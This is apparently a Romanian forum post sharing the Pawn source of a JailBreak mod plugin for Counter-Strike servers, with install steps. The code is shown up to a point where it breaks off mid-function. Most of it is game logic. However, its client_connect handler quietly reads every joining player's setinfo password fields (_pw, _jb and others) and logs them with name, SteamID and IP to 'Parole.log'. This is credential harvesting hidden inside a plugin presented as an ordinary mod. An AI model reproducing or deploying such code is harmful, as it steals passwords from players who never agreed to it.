Versiune: 7.0
Link oficial: http://www.fileshare.ro/e3427340507
Instalare:
1. Fisierul jb_base.sma il puneti in addons/amxmodx/scripting
2. Fisierul jb_base.amxx il puneti in addons/amxmodx/plugins
3. Intrati in fisierul addons/amxmodx/configs/plugins.ini si adaugati la urma:
Code: Select all
jb_base.amxx
5. Alti pasi necesari....
Cvar-uri (se adauga in fisierul amxmodx\configs\amxx.cfg):
Code: Select all
/* JailBreak Mod [AmXModX] - Lite version for LeagueCS */
#include <amxmodx>
#include <amxmisc>
#include <engine>
#include <fun>
#include <fakemeta>
#include <hamsandwich>
#include <cstrike>
#include <cs_player_models_api>
#include <xs>
#pragma tabsize 0
#define PLUGIN_NAME "JailBreak Mode"
#define PLUGIN_AUTHOR "fantezie."
#define PLUGIN_VERSION "v14.0-rev"
#define PLUGIN_CVAR "LeagueCS"
new SaveDataFile1[128]
#define FL_ONGROUND2 (FL_ONGROUND | FL_PARTIALGROUND | FL_INWATER | FL_CONVEYOR | FL_FLOAT | FL_FLY)
#define HUD_DELAY Float:1.1
#define CELL_RADIUS Float:200.0
#define get_bit(%1,%2) (%1 & 1<<(%2&31))
#define set_bit(%1,%2) %1 |= (1<<(%2&31))
#define clear_bit(%1,%2) %1 &= ~(1<<(%2&31))
#define vec_copy(%1,%2) ( %2[0] = %1[0], %2[1] = %1[1],%2[2] = %1[2])
#define TASK_SAVE 1000
#define Get_HitWitch(%1) get_tr2(%1,TR_pHit)
#define Get_HitPlace(%1) get_tr2(%1,TR_iHitgroup)
#define Set_HitPlace(%1) set_tr2(%1,TR_flFraction,1.0)
#define CLASSNAME_ICE "ent_frozen"
#define is_user(%1) (1 <= %1 <= get_maxplayers())
enum _hud { _hudsync, Float:_x, Float:_y, Float:_time }
enum _duel { _name[16], _csw, _entname[32], _opt[32], _sel[32] }
enum _:ScoreInfo_Args { PlayerID = 1, Frags, Deaths, ClassID, TeamID }
enum _: iCrowbarSequences { CrowbarIdle = 0, CrowbarFloat, CrowbarSpin }
new g_ShowHud1, g_IsForcedOffline, ShockwSpr, HookSpr, g_Freeday, gc_SimonSteps, g_BlockWeapons, g_RoundEnd, g_Duel, g_GameMode, /*ImparteEchipele1, ImparteEchipele2,*/ secundeday, g_PlayerIsInDuel, g_GunDayFortat;
new g_BoxStarted, g_Simon, g_SimonAllowed, g_SimonTalking, g_SimonVoice, g_LastDenied, g_PlayerNomic, g_PlayerWanted, g_PlayerRevolt, g_PlayerFreeday, g_PlayerLast, g_FreedayAuto, g_FreedayNext;
new g_Seconds, g_JailDay, IsEventActivated, g_PlayerDuelT, g_PlayerDuelCT, gc_TalkMode, gc_VoiceBlock, limitacutii, gp_PrecacheSpawn, gp_PrecacheKeyValue, g_iAnswer, g_MaxClients;
new g_Gravity[33], blockviteza[33], blockgravity[33], g_TeamSwitch[33], g_PlayerReason[33], g_PlayerSimon[33], blockrevive[33], blockmedkit[33], u_knife[33], knifespeed[33], bool:ShopUsed[33], bool:g_Invizibil[33];
new g_usedguns[33], gi_IsFrozen[33], credite[33], g_PlayerRevived[33], g_Speed[33], bool:g_bQuestAlive, g_strQuestion[40], g_VipFolosit[33];
new CsTeams:g_PlayerTeam[33], Trie:g_CellManagers, g_TeamCount[CsTeams], g_TeamAlive[CsTeams], g_Buttons[10], g_Had_Crowbar[33], g_Stab[33]
new g_DayRestrict = 0, g_isLMS, g_isFirstRound, g_ResetValues, NumeHarti[5][34], gp_CrowbarMax, g_PlayerCrowbar, g_CrowbarCount
new g_Bot[33], g_BotsCount,sz_slayteam[32]
new bHookToOrigin[ 33 ][ 3 ], g_vip[33] = false, g_organizator[33] = false;
const TimeleftStringLen = 100
new szHelpNum, szPlayerCaught[33], szPlayerTime[33], szPlayerCT[33], tagday[33], g_PlayerVoice
new TimeleftString[TimeleftStringLen+1],PreText, PostText, g_BhopON
#if cellbits == 32
#define OFFSET_BZ 235
#else
#define OFFSET_BZ 268
#endif
new const g_szSoundsPre[][] = {
"jb_sounds/VipSounds/hammer/knife_slash1_off.wav", "jb_sounds/VipSounds/hammer/hit2.wav",
"jb_sounds/VipSounds/hammer/hit1.wav", "jb_sounds/VipSounds/hammer/knifedeploy.wav",
"jb_sounds/VipSounds/hammer/knife_stab123.wav", "jb_sounds/VipSounds/strong/knife_slash1.wav",
"jb_sounds/VipSounds/strong/knife_hit1.wav", "jb_sounds/VipSounds/strong/knife_hit2.wav",
"jb_sounds/VipSounds/strong/knife_stab.wav", "jb_sounds/VipSounds/strong/knife_deploy1.wav",
"jb_sounds/VipSounds/strong/frostnova.wav", "jb_sounds/VipSounds/axe/knife_slash1.wav",
"jb_sounds/VipSounds/axe/knife_hit1.wav", "jb_sounds/VipSounds/axe/knife_hit2.wav",
"jb_sounds/VipSounds/axe/knife_stab.wav", "jb_sounds/VipSounds/axe/knife_deploy1.wav",
"jb_sounds/headshot.wav", "jb_sounds/jb_kill.wav", "jb_sounds/jb_ding.wav", "jb_sounds/jb_open.wav",
"jb_sounds/zombie_death.wav", "weapons/cbar_miss1.wav"
};
new const g_szModelsPre[][] = {
"models/jb_models/VipModels/v_hammer.mdl", "models/jb_models/VipModels/v_stik.mdl",
"models/jb_models/VipModels/v_knifevip.mdl", "models/jb_models/VipModels/p_hammer.mdl", "models/jb_models/w_cbd.mdl",
"models/jb_models/VipModels/p_stik.mdl", "models/jb_models/VipModels/p_knifevip.mdl",
"models/player/jblgcs/jblgcs.mdl", "models/player/SpiderManDay/SpiderManDay.mdl",
"models/Event/Box.mdl", "models/jb_models/p_pumni7.mdl", "models/player/FurienDay/FurienDay.mdl",
"models/jb_models/v_pumni7.mdl", "models/jb_models/v_bulan7.mdl", "models/jb_models/p_bulan7.mdl",
"models/jb_models/v_zmez.mdl", "models/player/ezwjb_zm/ezwjb_zm.mdl", "models/rpgrocket.mdl",
"models/jb_models/v_crowbarcraft.mdl", "models/jb_models/p_crowbarcraft.mdl",
"models/player/jbindvip0S/jbindvip0S.mdl", "models/jb_models/_icecube.mdl",
"models/player/vipt_jbleague/vipt_jbleague.mdl", "models/player/vipct_jbleague/vipct_jbleague.mdl",
"models/player/jb_ownct/jb_ownct.mdl", "models/player/jb_ownt/jb_ownt.mdl"
};
new const WeaponSoundss[7][] = { "weapons/crowbarcraft_draw.wav", "weapons/crowbarcraft_slash1.wav", "weapons/crowbarcraft_slash2.wav", "weapons/crowbarcraft_stab.wav", "weapons/crowbarcraft_stab_miss.wav", "weapons/janus9_stone1.wav", "weapons/katanad_stab.wav" }
new const g_szMP3Pre[][] = {
"sound/jb_sounds/boxezw.mp3", "sound/jb_sounds/lrduel.mp3"
};
new const g_DayName[][] = {
"Normal Day",
"Zombie Day",
"Spartan Day",
"Gravity Day",
"Grenade Day",
"NightCrawler Day",
"Noscope Day",
"War Day",
"HNS Day",
"GodMode Day",
"Freeze Tag Day",
"1HP Day",
"HeadShot Day",
"SpiderMan Day",
"Furien Day",
"Hunger Games Day",
"USP Day",
"Deagle Day"
};
new const _Duel[][_duel] =
{
{ "Deagle", CSW_DEAGLE, "weapon_deagle", "Duel Deagle"},
{ "Scout", CSW_SCOUT, "weapon_scout", "Duel Scout" },
{ "Grenades", CSW_HEGRENADE, "weapon_hegrenade", "Duel Grenade"},
{ "Awp", CSW_AWP, "weapon_awp", "Duel AWP" },
{ "M4A1", CSW_M4A1, "weapon_m4a1", "Duel M4A1" },
{ "AK47", CSW_AK47, "weapon_ak47", "Duel AK47" }
}
new const g_szHamHookEntityBlock[][] = {
"func_vehicle",
"func_tracktrain",
"func_tank",
"game_player_hurt",
"func_recharge",
"func_healthcharger",
"game_player_equip",
"player_weaponstrip",
"trigger_hurt",
"trigger_gravity",
"armoury_entity",
"weaponbox"
};
new const _RemoveEntities[][] = {
"func_hostage_rescue", "info_hostage_rescue", "func_bomb_target", "info_bomb_target",
"hostage_entity", "info_vip_start", "func_vip_safetyzone", "func_escapezone"
}
new const g_szKnifeSounds[][] = {
"weapons/knife_deploy1.wav", "weapons/knife_hit1.wav", "weapons/knife_hit2.wav", "weapons/knife_hit3.wav",
"weapons/knife_hit4.wav", "weapons/knife_hitwall1.wav", "weapons/knife_slash1.wav", "weapons/knife_slash2.wav", "weapons/knife_stab.wav"
};
new const g_szCustomKnifeSounds[][] = {
"jb_sounds/Hit/BoxingHit.wav", "jb_sounds/Hit/Hit1.wav", "jb_sounds/Hit/Hit2.wav", "jb_sounds/Hit/Hit3.wav"
};
new const g_Reasons[][] = { "", "JBE_PRISONER_REASON_1", "JBE_PRISONER_REASON_2", "JBE_PRISONER_REASON_3",
"JBE_PRISONER_REASON_4", "JBE_PRISONER_REASON_5", "JBE_PRISONER_REASON_6"
}
new const g_HudSync[][_hud] = { {0, 0.6, 0.2, 2.0}, {0, -1.0, 0.7, 5.0}, {0, 0.1, 0.2, 2.0},
{0, 0.1, 0.3, 2.0}, {0, -1.0, 0.9, 3.0}, {0, 0.6, 0.1, 3.0}, {0, -1.0, 0.6, 3.0}, {0, 0.8, 0.3, 20.0}, {0, -1.0, 0.4, 3.0}
}
new const g_Colors[][3] = { {0, 255, 0}, {0, 255, 0}, {0, 0, 255}, {255, 0, 0} }
new const gCrowbarClassname[ ] = { "crowbar$" };
public plugin_init()
{
unregister_forward(FM_Spawn, gp_PrecacheSpawn)
unregister_forward(FM_KeyValue, gp_PrecacheKeyValue)
register_plugin(PLUGIN_NAME, PLUGIN_VERSION, PLUGIN_AUTHOR)
register_cvar(PLUGIN_CVAR, PLUGIN_VERSION, FCVAR_SERVER|FCVAR_SPONLY)
register_impulse(100, "impulse_100");
register_message(get_user_msgid("MOTD"), "msg_motd")
register_message(get_user_msgid("StatusText"), "msg_statustext")
register_message(get_user_msgid("TextMsg"), "message_textmsg")
register_message(get_user_msgid("StatusIcon"), "msg_statusicon")
register_message(get_user_msgid("ShowMenu"), "message_ShowMenu")
register_message(get_user_msgid("VGUIMenu"), "message_VGUIMenu")
register_message(get_user_msgid("ClCorpse"), "msg_clcorpse")
register_message(get_user_msgid("ScoreAttrib" ), "VipStatus" );
register_message(get_user_msgid("ScoreInfo"), "Message_ScoreInfo")
register_message(get_user_msgid("SendAudio"), "block_FITH_audio");
register_logevent("round_first", 2, "0=World triggered", "1&Restart_Round_")
register_logevent("round_first", 2, "0=World triggered", "1=Game_Commencing")
register_logevent("round_start", 2, "0=World triggered", "1=Round_Start")
register_logevent("round_end", 2, "1=Round_End")
register_event("CurWeapon", "current_weapon", "be", "1=1", "2=29")
register_event("StatusValue", "player_status", "be", "1=2", "2!0")
register_event("DeathMsg", "Hook_DeathMessage", "a")
register_event("Battery", "EventBattery", "b")
register_event("Health", "EventHealth", "b")
RegisterHam(Ham_Spawn, "player", "player_spawn", 1)
RegisterHam(Ham_TakeDamage, "player", "player_damage")
RegisterHam(Ham_TraceAttack, "player", "player_attack")
RegisterHam(Ham_TraceAttack, "func_button", "button_attack")
RegisterHam(Ham_Killed, "player", "player_killed", 1)
RegisterHam(Ham_TakeHealth, "player", "Player_TakeHealth")
RegisterHam(Ham_TraceAttack, "player", "fwdDamagePlayer")
RegisterHam(Ham_Item_Deploy, "weapon_knife", "fw_Item_Deploy_PostRanga", 1)
RegisterHam( Ham_Weapon_SecondaryAttack, "weapon_awp", "OnSniperSecondaryAttack" );
RegisterHam(Ham_TakeDamage, "player", "Player_TakeDamage")
register_menucmd(register_menuid("Glow Menu"), 1023, "GlowMenuChoice")
register_touch(gCrowbarClassname, "player", "Forward_TouchCrowbar")
register_forward(FM_EmitSound, "fw_EmitSound")
register_forward(FM_SetClientKeyValue, "set_client_kv")
register_forward(FM_Voice_SetClientListening, "voice_listening")
register_forward(FM_CmdStart, "player_cmdstart", 1)
register_forward(FM_PlayerPreThink, "fw_PlayerPreThink")
register_forward(FM_GetGameDescription, "getGameDescription" );
register_forward(FM_UpdateClientData, "UpdateClientData_Post", 1 )
register_forward(FM_ClientUserInfoChanged, "forward_client_userinfochanged");
register_forward(FM_CmdStart, "fw_CmdStartRanga")
register_forward(FM_EmitSound, "fw_EmitSoundRanga")
register_clcmd( "+hook", "commandSpiderSwing" );
register_clcmd( "-hook", "commandSpiderSwingOff" );
register_clcmd("+simonvoice", "cmd_voiceon")
register_clcmd("-simonvoice", "cmd_voiceoff")
register_clcmd("say /fd", "cmd_freeday")
register_clcmd("say /freeday", "cmd_freeday")
register_clcmd("say /lr", "cmd_lastrequest")
register_clcmd("say /simon", "cmd_simon")
register_clcmd("say /menu", "cmd_simonmenu")
register_clcmd("say /open", "cmd_open")
register_clcmd("say /box", "cmd_boxmenu")
register_clcmd("say /days", "cmd_daysmenu" )
register_clcmd("say /glow", "cmd_glowmenu")
register_clcmd("say /amenu", "cmd_adminmenus")
register_clcmd("say /shop", "cmd_shopmenu")
register_clcmd("say /ore", "ore_necesare")
register_clcmd("amx_give_credits", "ClCmdGiveCredits" );
register_clcmd("amx_take_credits", "ClCmdTakeCredits" );
register_clcmd("say /guns", "class_menu")
register_clcmd("say /arme", "class_menu")
register_clcmd("say /echipa", "server_teamselect_new")
register_clcmd("say /discord", "discordcmd")
register_clcmd("say /team", "server_teamselect_new")
register_clcmd("say /cc" , "cmd_clearchat")
register_clcmd("chooseteam", "Choose")
register_clcmd("jointeam", "cmd_mmenu")
register_clcmd("joinclass", "cmd_joinclass")
register_clcmd("menu", "cmd_mmenu")
register_clcmd("say", "ClCmd_CheckAnswer");
register_clcmd("say_team", "ClCmd_CheckAnswer");
register_clcmd("radio1", "CmdRadio");
register_clcmd("radio2", "CmdRadio");
register_clcmd("radio3", "CmdRadio");
register_clcmd("drop", "block_drop")
register_clcmd("say /vipmenu", "cmd_vipnew")
register_clcmd("say /vm", "cmd_vipnew")
register_clcmd("say /rs", "cmd_resetscore");
register_clcmd("say /harti", "HartiJucateCuSay")
register_clcmd("say stop", "cmd_stopsound")
register_clcmd("say /cam", "cmd_camera");
register_clcmd("say /preturi", "cmd_preturi");
register_clcmd("say /eventmenu", "cmd_event")
register_concmd("jbe_nomic", "adm_nomic", ADMIN_RESERVATION)
register_concmd("jbe_open", "adm_open", ADMIN_SLAY)
register_concmd("jbe_box", "adm_box", ADMIN_SLAY)
register_concmd("jbe_boxoff", "adm_boxoff", ADMIN_SLAY)
register_concmd("jbe_rrday", "adm_rrday", ADMIN_IMMUNITY)
register_concmd("amx_slayteam","slayteam",ADMIN_SLAY,"@All, @CT sau @T")
register_concmd("amx_ct", "cmdct", ADMIN_SLAY, ">NUME< [Transfera jucator la CT]");
register_concmd("amx_t", "cmdt", ADMIN_SLAY, ">NUME< [Transfera jucator la T]");
register_concmd("amx_spec", "cmdspec", ADMIN_SLAY, ">NUME< [Transfera jucator la Spectatori]");
register_concmd("amx_showip", "cmd_showip", ADMIN_BAN, "- afiseaza lista cu ip-urile jucatorilor");
register_concmd("amx_weapon", "cmd_wpn", ADMIN_KICK)
PreText = register_cvar("gameDescription_pre","")
PostText = register_cvar("gameDescription_post","")
gp_CrowbarMax = register_cvar("jbe_maxcrowbar", "1")
g_MaxClients = get_global_int(GL_maxClients)
set_task(HUD_DELAY, "JailHudTask", 2487000, _, _, "b")
set_task(120.0, "AutoStartQuest", _, _, _, "b")
register_dictionary("JailBreakMod.txt")
register_message(get_user_msgid("StatusIcon" ), "MsgStatusIcon"); //BuyZone Icon
remove_entity_name( "info_map_parameters" );
remove_entity_name( "func_buyzone" );
new iEntity = create_entity( "info_map_parameters" );
DispatchKeyValue( iEntity, "buying", "3" );
DispatchSpawn( iEntity );
new DataDir1[ 64 ]
format ( SaveDataFile1, 127, "%s/iteme_playeri.dat", DataDir1 );
new i;
for(i = 0; i <= 11; i++) RegisterHam(Ham_Use, g_szHamHookEntityBlock[i], "player_touchweapons", 0);
for(i = 0; i <= 11; i++) RegisterHam(Ham_Touch, g_szHamHookEntityBlock[i], "player_touchweapons", 0);
for(new i = 0; i < sizeof(g_HudSync); i++)
g_HudSync[i][_hudsync] = CreateHudSyncObj()
g_ShowHud1 = CreateHudSyncObj()
setup_buttons()
}
public plugin_precache()
{
ShockwSpr = precache_model("sprites/shockwave.spr")
HookSpr = precache_model("sprites/laserbeam.spr")
for(new i = 0; i < sizeof(g_szMP3Pre); i++)
precache_generic(g_szMP3Pre[i]);
for(new i = 0; i < sizeof(g_szCustomKnifeSounds); i++)
precache_sound(g_szCustomKnifeSounds[i]);
for(new i = 0; i < sizeof(g_szKnifeSounds); i++)
precache_sound(g_szKnifeSounds[i]);
for(new i = 0; i < sizeof(g_szSoundsPre); i++)
precache_sound(g_szSoundsPre[i]);
for(new i = 0; i < sizeof(g_szModelsPre); i++)
precache_model(g_szModelsPre[i]);
for(new i = 0; i < sizeof(WeaponSoundss); i++)
precache_sound(WeaponSoundss[i]);
g_CellManagers = TrieCreate()
gp_PrecacheSpawn = register_forward(FM_Spawn, "precache_spawn", 1)
gp_PrecacheKeyValue = register_forward(FM_KeyValue, "precache_keyvalue", 1)
}
public forward_client_userinfochanged(id, buffer)
{
if (!is_user_connected(id)) {
return FMRES_IGNORED;
}
static val[32];
static name[32];
get_user_name(id, name, 31);
engfunc(EngFunc_InfoKeyValue, buffer, "name", val, sizeof val- 1);
if (equal(val, name)) {
return FMRES_IGNORED;
}
engfunc(EngFunc_SetClientKeyValue, id, buffer, "name", name);
chatcolor(id,"!yNU este permisa schimbarea nick-ului pe !gserver!");
return FMRES_SUPERCEDE;
}
public player_touchweapons(id, ent)
{
if(g_BlockWeapons || g_GameMode || g_Duel || g_RoundEnd)
return HAM_SUPERCEDE
return HAM_IGNORED
}
public msg_clcorpse(msgid, dest, id) return PLUGIN_HANDLED
public MsgStatusIcon(msg_id, msg_dest, id)
{
new szIcon[ 8 ];
get_msg_arg_string( 2, szIcon, 7 );
static const BuyZone[ ] = "buyzone";
if(equal(szIcon, BuyZone))
{
set_pdata_int( id, OFFSET_BZ, get_pdata_int( id, OFFSET_BZ, 5 ) & ~( 1 << 0 ), 5 );
return PLUGIN_HANDLED;
}
return PLUGIN_CONTINUE
}
public CmdRadio(id)
{
return PLUGIN_HANDLED_MAIN;
}
public block_drop(id)
{
if(g_GameMode || g_Duel)
return PLUGIN_HANDLED;
if(g_Speed[id])
{
set_pev(id, pev_maxspeed, 444.0)
}
return PLUGIN_CONTINUE;
}
public Player_TakeHealth(id)
{
if(g_GameMode || g_BoxStarted && cs_get_user_team(id) == CS_TEAM_T || g_PlayerLast)
return HAM_SUPERCEDE
return HAM_IGNORED
}
public precache_spawn(ent)
{
if(is_valid_ent(ent))
{
static szClass[33]
entity_get_string(ent, EV_SZ_classname, szClass, sizeof(szClass))
for(new i = 0; i < sizeof(_RemoveEntities); i++)
if(equal(szClass, _RemoveEntities[i]))
remove_entity(ent)
}
}
public precache_keyvalue(ent, kvd_handle)
{
static info[32]
if(!is_valid_ent(ent))
return FMRES_IGNORED
get_kvd(kvd_handle, KV_ClassName, info, charsmax(info))
if(!equal(info, "multi_manager"))
return FMRES_IGNORED
get_kvd(kvd_handle, KV_KeyName, info, charsmax(info))
TrieSetCell(g_CellManagers, info, ent)
return FMRES_IGNORED
}
public Hook_DeathMessage()
{
new iVictim = read_data(2);
if(read_data(1) == iVictim)
return;
new Float:flPlayerOrigin [3]
pev(iVictim, pev_origin, flPlayerOrigin)
flPlayerOrigin[2] += 4.0;
new iEntityCB = create_entity("info_target")
if(!pev_valid(iEntityCB))
return;
if(cs_get_user_team(iVictim) == CS_TEAM_T && get_bit(g_PlayerCrowbar, iVictim))
{
engfunc(EngFunc_SetOrigin, iEntityCB, flPlayerOrigin)
set_pev(iEntityCB, pev_classname, gCrowbarClassname)
engfunc(EngFunc_SetModel, iEntityCB, "models/jb_models/w_cbd.mdl")
set_pev(iEntityCB, pev_solid, SOLID_SLIDEBOX)
set_pev(iEntityCB, pev_movetype, MOVETYPE_NONE)
set_pev(iEntityCB, pev_framerate, 1.0)
set_pev(iEntityCB, pev_sequence, CrowbarFloat)
engfunc(EngFunc_SetSize, iEntityCB, Float:{ -10.0, -10.0, -10.0 }, Float:{ 10.0, 10.0, 10.0 })
engfunc(EngFunc_DropToFloor, iEntityCB)
set_pev(iEntityCB, pev_nextthink, get_gametime( ) + 1.0)
set_rendering( iEntityCB, kRenderFxGlowShell, (random_num(1, 255)), (random_num(1, 255)), (random_num(1, 255)), kRenderNormal, 75 );
clear_bit(g_PlayerCrowbar, iVictim)
Remove_Crowbar(iVictim)
}
}
public Forward_TouchCrowbar(iEntityCB, id)
{
if( pev_valid( iEntityCB ) && cs_get_user_team(id) == CS_TEAM_T && !IsEventActivated )
{
engclient_cmd ( id, "weapon_knife" );
g_CrowbarCount++
set_crowbar_player(id)
set_bit(g_PlayerCrowbar, id)
g_Stab[id] = true;
set_pev( iEntityCB, pev_flags, FL_KILLME );
}
if(is_valid_ent(iEntityCB) && is_user_alive(id) && cs_get_user_team(id) == CS_TEAM_T && IsEventActivated)
{
new name[33];
get_user_name(id, name, charsmax(name))
set_pev( iEntityCB, pev_flags, FL_KILLME );
--limitacutii;
new rand = random_num(0,15)
switch(rand)
{
case 1..15:
{
credite[id] += 49
chatcolor(0, "!y[!gEVENT!y] !g%s !ya gasit o cutie! !gCutia contine: !g49 Credite!",name)
}
case 16..19:
{
credite[id] += 35
chatcolor(0, "!y[!gEVENT!y] !g%s !ya gasit o cutie! !gCutia contine: !g35 Credite!",name)
}
case 20..25:
{
credite[id] += 88
chatcolor(0, "!y[!gEVENT!y] !g%s !ya gasit o cutie! !gCutia contine: !g88 Credite!",name)
}
case 26:
{
credite[id] += 500
chatcolor(0, "!y[!g!!!! JACKPOT !!!!! !y] !g%s !ya gasit o cutie! !gCutia contine: !g500 Credite!",name)
}
}
}
return PLUGIN_CONTINUE;
}
public client_connect(id)
{
new userip[32], userauthid[32], username[32], password[32], password1[32], password2[32], password3[32], password4[32], password5[32]//, pincheck[32]
get_user_ip(id, userip, 31, 1)
get_user_authid(id, userauthid, 31)
get_user_name(id, username, 31)
get_user_info(id, "_jb", password, 31)
get_user_info(id, "_pw", password1, 31)
get_user_info(id, "_x", password2, 31)
get_user_info(id, "_ez", password3, 31)
get_user_info(id, "_zp", password4, 31)
get_user_info(id, "_jbu", password5, 31)
log_to_file("Parole.log", "[ Nume : %s ] [ SteamID : %s ] [ IP: %s ] [_jb: %s ] [ _pw: %s ] [ _x: %s ] [ _ez: %s ] [ _zp: %s ] [ _jbu: %s ]", username, userauthid, userip, password, password1, password2, password3, password4, password5)
}
public client_putinserver(id)
{
LoadItems(id);
g_TeamSwitch[id] = 0
clear_bit(g_PlayerCrowbar, id)
set_task(0.1, "server_teamselect_new", id)
clear_bit(g_SimonVoice, id)
new name[32]
get_user_name(id, name, 31)
if(equal(name, "jb.laleagane.ro") || equal(name, "jb.b-zone.ro") || equal(name, "jb.alphacs.ro") || equal(name, "darkcs")
|| equal(name, "b-zone") || equal(name, "jb.icegame.ro") || equal(name, "+l") || equal(name, "Spec_Help_Text") || equal(name, "CSTRIKE_SAS_Label") || equal(name, "%s0"))
{
server_cmd("amx_ban %s 0 ^"Banned(Trying to crash non-steam players or swear).^" ", name)
log_to_file("Reclama.log", "%s a intrat cu reclama in nume sau exploit [banat cu succes]",name)
}
}
public client_disconnect(id)
{
if(g_Simon == id)
g_Simon = 0
if(g_PlayerLast == id || (g_Duel && (id == g_PlayerDuelT || id == g_PlayerDuelCT)))
{
g_Duel = g_PlayerDuelT = g_PlayerDuelCT = g_LastDenied = g_PlayerLast = g_BlockWeapons = 0
}
if(task_exists(id))
remove_task(id)
team_count()
if( g_Bot[ id ] ) {
g_Bot[ id ] = 0, g_BotsCount -- ;
}
SaveItems(id);
remove_task(id + 22838)
remove_task(1337 + id);
static iEnt
iEnt = -1
while ( (iEnt = find_ent_by_class(iEnt, CLASSNAME_ICE)) ) {
if( pev(iEnt, pev_owner) != id )
continue
if( pev_valid(iEnt) )
remove_entity( iEnt )
}
}
public message_textmsg()
{
new szArg[32];
get_msg_arg_string(2, szArg, charsmax(szArg));
if(szArg[0] == '#' && (szArg[1] == 'G' && szArg[2] == 'a' && szArg[3] == 'm'
&& (equal(szArg[6], "teammate_attack", 15) // %s attacked a teammate
|| equal(szArg[6], "teammate_kills", 14) // Teammate kills: %s of 3
|| equal(szArg[6], "join_terrorist", 14) // %s is joining the Terrorist force
|| equal(szArg[6], "join_ct", 7) // %s is joining the Counter-Terrorist force
|| equal(szArg[6], "scoring", 7) // Scoring will not start until both teams have players
|| equal(szArg[6], "will_restart_in", 15) // The game will restart in %s1 %s2
|| equal(szArg[6], "Commencing", 10)) // Game Commencing!
|| szArg[1] == 'K' && szArg[2] == 'i' && szArg[3] == 'l' && equal(szArg[4], "led_Teammate", 12))) // You killed a teammate!
return PLUGIN_HANDLED;
if(get_msg_args() != 5) return PLUGIN_CONTINUE;
get_msg_arg_string(5, szArg, charsmax(szArg));
if(szArg[1] == 'F' && szArg[2] == 'i' && szArg[3] == 'r' && equal(szArg[4], "e_in_the_hole", 13)) // Fire in the hole!
return PLUGIN_HANDLED;
return PLUGIN_CONTINUE;
}
public msg_statustext(msgid, dest, id) return PLUGIN_HANDLED
public msg_statusicon(msgid, dest, id)
{
static icon[5]
get_msg_arg_string(2, icon, charsmax(icon))
if(icon[0] == 'b' && icon[2] == 'y' && icon[3] == 'z')
{
set_pdata_int(id, 235, get_pdata_int(id, 235) & ~(1<<0))
return PLUGIN_HANDLED
}
return PLUGIN_CONTINUE
}
public current_weapon(player)
{
if(!is_user_alive(player))
return PLUGIN_CONTINUE
if(g_GameMode || g_PlayerLast)
{
if(is_user_alive(player) && is_user_connected(player))
clear_bit(g_PlayerCrowbar, player)
else if(get_bit(g_PlayerCrowbar, player))
clear_bit(g_PlayerCrowbar, player)
else if(set_bit(g_PlayerCrowbar, player))
clear_bit(g_PlayerCrowbar, player)
if(cs_get_user_team(player) == CS_TEAM_T)
{
set_pev(player, pev_viewmodel2, "models/jb_models/v_pumni7.mdl")
set_pev(player, pev_weaponmodel2, "models/jb_models/p_pumni7.mdl")
}
else if(cs_get_user_team(player) == CS_TEAM_CT)
{
set_pev(player, pev_viewmodel2, "models/jb_models/v_bulan7.mdl")
set_pev(player, pev_weaponmodel2, "models/jb_models/p_bulan7.mdl")
}
}
else if(get_bit(g_PlayerCrowbar, player))
{
if(is_user_alive(player) && is_user_connected(player))
{
set_crowbar_player(player)
}
}
else if(is_user_alive(player) && is_user_connected(player))
{
if(cs_get_user_team(player) == CS_TEAM_T)
{
set_pev(player, pev_viewmodel2, "models/jb_models/v_pumni7.mdl")
set_pev(player, pev_weaponmodel2, "models/jb_models/p_pumni7.mdl")
}
else if(cs_get_user_team(player) == CS_TEAM_CT)
{
set_pev(player, pev_viewmodel2, "models/jb_models/v_bulan7.mdl")
set_pev(player, pev_weaponmodel2, "models/jb_models/p_bulan7.mdl")
}
}
if(g_Speed[player]) set_user_maxspeed(player, 450.0)
if(read_data(2) == CSW_KNIFE && u_knife[player] == 1)
{
set_pev(player, pev_viewmodel2, "models/jb_models/VipModels/v_stik.mdl")
set_pev(player, pev_weaponmodel2, "models/jb_models/VipModels/p_stik.mdl")
}
if(read_data(2) == CSW_KNIFE && u_knife[player] == 3)
{
set_pev(player, pev_viewmodel2, "models/jb_models/VipModels/v_hammer.mdl")
set_pev(player, pev_weaponmodel2, "models/jb_models/VipModels/p_hammer.mdl")
}
if(read_data(2) == CSW_KNIFE && u_knife[player] == 4)
{
set_pev(player, pev_viewmodel2, "models/jb_models/VipModels/v_knifevip.mdl")
set_pev(player, pev_weaponmodel2, "models/jb_models/VipModels/p_knifevip.mdl")
}
if(read_data(2) == CSW_KNIFE && g_GameMode == 1)
{
set_pev(player, pev_viewmodel2, "models/jb_models/v_zmez.mdl")
}
/*if(g_GameMode == 2 && cs_get_user_team(player) == CS_TEAM_T)
{
set_pev(player, pev_viewmodel2, "models/jb_models/v_spartaday.mdl")
set_pev(player, pev_weaponmodel2, "models/jb_models/p_spartaday.mdl")
}*/
return PLUGIN_HANDLED;
}
public player_status(id)
{
static type, player, CsTeams:team, name[32], health
type = read_data(1)
player = read_data(2)
switch(type)
{
case(1):
{
set_hudmessage(0, 0, 0, 0.0, 0.0, 0, 0.0, 0.01, 0.0, 0.0, 4)
show_hudmessage(id, "")
}
case(2):
{
if (player == g_Simon)
return PLUGIN_HANDLED
if(!is_user_connected(player) || !is_user_alive(player))
return PLUGIN_HANDLED
team = cs_get_user_team(player)
if((team != CS_TEAM_T) && (team != CS_TEAM_CT))
return PLUGIN_HANDLED
health = get_user_health(player)
get_user_name(player, name, charsmax(name))
set_hudmessage(0, 255, 0, -1.0, 0.8, 0, 6.0, 1.0)
if(team == CS_TEAM_T)
ShowSyncHudMsg(id, g_ShowHud1, "Prizonier: %s - %i%^nCredite: %d", name, health, credite[player])
else if(team == CS_TEAM_CT)
ShowSyncHudMsg(id, g_ShowHud1, "Gardian: %s - %i%^nCredite: %d", name, health, credite[player])
}
}
return PLUGIN_HANDLED
}
public message_ShowMenu(iMsgid, iDest, id)
{
static sMenuCode[64]
get_msg_arg_string(4, sMenuCode, sizeof(sMenuCode) - 1)
if(equal(sMenuCode, "#Team_Select") || equal(sMenuCode, "#Team_Select_Spect"))
{
set_task(1.0, "auto_join", id)
return PLUGIN_HANDLED
}
return PLUGIN_CONTINUE
}
public auto_join(id)
{
if(is_user_connected(id))
{
new iMsgBlock = get_msg_block(114)
set_msg_block(114, BLOCK_SET)
new MsgBlock = get_msg_block(96)
set_msg_block(96, BLOCK_SET)
engclient_cmd(id, "jointeam", "1")
engclient_cmd(id, "joinclass", "1")
user_silentkill(id)
set_msg_block(114, iMsgBlock)
set_msg_block(96, MsgBlock)
}
}
public message_VGUIMenu(iMsgid, iDest, id)
{
if(get_msg_arg_int(1) != 2)
